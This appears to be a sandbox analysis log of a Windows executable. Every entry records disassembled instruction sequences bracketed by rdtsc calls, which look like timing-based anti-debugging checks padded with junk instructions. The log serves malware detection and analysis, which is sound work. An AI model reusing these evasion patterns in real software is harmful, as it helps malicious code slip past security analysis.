Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EA6C second address: 62EA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EBC7 second address: 62EBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EBCB second address: 62EBF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F1374C2DE16h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EBF7 second address: 62EC09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jbe 00007F1374D398B6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EC09 second address: 62EC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6394A3 second address: 6394B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398BEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6394B6 second address: 6394BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DDF5 second address: 63DE16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C7h 0x00000007 jc 00007F1374D398B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DE16 second address: 63DE21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F1374C2DE06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DE21 second address: 63DE27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DE27 second address: 63DE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1374C2DE06h 0x0000000a popad 0x0000000b push edx 0x0000000c jc 00007F1374C2DE06h 0x00000012 pop edx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 jmp 00007F1374C2DE12h 0x0000001d pushad 0x0000001e popad 0x0000001f pop edx 0x00000020 jmp 00007F1374C2DE0Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DE63 second address: 63DE79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F1374D398B6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DE79 second address: 63DE89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DFEA second address: 63E00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1374D398B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F1374D398BDh 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F1374D398B6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E00E second address: 63E012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6409C1 second address: 6409E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F1374D398D0h 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6462DF second address: 6462E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6462E4 second address: 6462F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F1374D398B6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6462F8 second address: 646301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646301 second address: 64630B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1374D398BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DCDC second address: 64DCF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F1374C2DE0Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F1374C2DE0Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DCF8 second address: 64DD43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C8h 0x00000007 jmp 00007F1374D398C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jng 00007F1374D398FEh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F1374D398C0h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD43 second address: 64DD5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD5D second address: 64DD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD61 second address: 64DD65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657F94 second address: 657F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657F98 second address: 657F9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657F9E second address: 657FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1374D398DEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657FD2 second address: 657FD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656EB8 second address: 656EDA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1374D398BFh 0x00000008 jmp 00007F1374D398BCh 0x0000000d pop edx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656EDA second address: 656EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1374C2DE06h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F1374C2DE0Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 jno 00007F1374C2DE06h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656EFF second address: 656F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6571A7 second address: 6571AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6571AD second address: 6571B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6571B8 second address: 6571BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AA1D second address: 65AA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D4FC second address: 65D552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1374C2DE15h 0x00000008 pop eax 0x00000009 push esi 0x0000000a jnp 00007F1374C2DE06h 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F1374C2DE0Ch 0x0000001b jng 00007F1374C2DE06h 0x00000021 push esi 0x00000022 pop esi 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F1374C2DE17h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D552 second address: 65D556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D556 second address: 65D55E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D55E second address: 65D576 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1374D398BEh 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F1374D398B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F1374D398B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D576 second address: 65D57A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB02 second address: 65EB31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1374D398B6h 0x00000008 jmp 00007F1374D398BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1374D398C7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB31 second address: 65EB35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661C65 second address: 661C7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1374D398BDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661C7B second address: 661C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE0Dh 0x00000009 jl 00007F1374C2DE06h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661C93 second address: 661C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1374D398B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F70C second address: 66F739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE16h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 jnl 00007F1374C2DE06h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F739 second address: 66F742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F521 second address: 66F52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1374C2DE06h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F52C second address: 66F542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F1374D398BFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F542 second address: 66F564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1374C2DE16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F564 second address: 66F568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F568 second address: 66F583 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1374C2DE06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1374C2DE0Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F583 second address: 66F599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jno 00007F1374D398B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668FCA second address: 668FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1374C2DE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668FD4 second address: 668FF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1374D398C7h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C0C1 second address: 67C0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C0C9 second address: 67C0CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EB9F second address: 67EBAF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1374C2DE06h 0x00000008 ja 00007F1374C2DE06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6941D1 second address: 6941D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6941D5 second address: 6941D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693092 second address: 6930A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6930A1 second address: 6930CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1374C2DE19h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693231 second address: 693237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693237 second address: 69323B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69323B second address: 69325B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c jnl 00007F1374D398BEh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69362C second address: 693632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693632 second address: 693636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693636 second address: 69363A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69363A second address: 693657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F1374D398B8h 0x0000000f jo 00007F1374D398BCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693E96 second address: 693EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F1374C2DE15h 0x0000000a jmp 00007F1374C2DE19h 0x0000000f pop edx 0x00000010 pushad 0x00000011 jmp 00007F1374C2DE16h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698494 second address: 6984CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jp 00007F1374D398B6h 0x0000000c jmp 00007F1374D398C8h 0x00000011 popad 0x00000012 jg 00007F1374D398C2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6984CB second address: 6984D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6984D8 second address: 6984E6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F1374D398BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6984E6 second address: 6984F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F1374C2DE06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6984F2 second address: 6984F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6984F6 second address: 698504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1374C2DE22h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A132 second address: 69A160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jns 00007F1374D398B6h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F1374D398C1h 0x00000016 popad 0x00000017 jmp 00007F1374D398BBh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A160 second address: 69A165 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A165 second address: 69A174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007F1374D398BEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699C4C second address: 699C72 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1374C2DE10h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1374C2DE0Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BDBB second address: 69BDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F1374D398BBh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop edi 0x0000000e popad 0x0000000f push ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD0F4 second address: 5AD0F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8035D second address: 4D80363 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80363 second address: 4D8039D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 57F91651h 0x00000008 jmp 00007F1374C2DE0Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov cx, di 0x00000017 jmp 00007F1374C2DE19h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8039D second address: 4D803C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1374D398C7h 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803C4 second address: 4D803C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803C8 second address: 4D803CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D803CE second address: 4D80404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1374C2DE17h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80491 second address: 4D8049B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 6EF7E09Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07DB second address: 4DA07DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07DF second address: 4DA07E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07E3 second address: 4DA07E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07E9 second address: 4DA07F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374D398BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07F8 second address: 4DA07FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
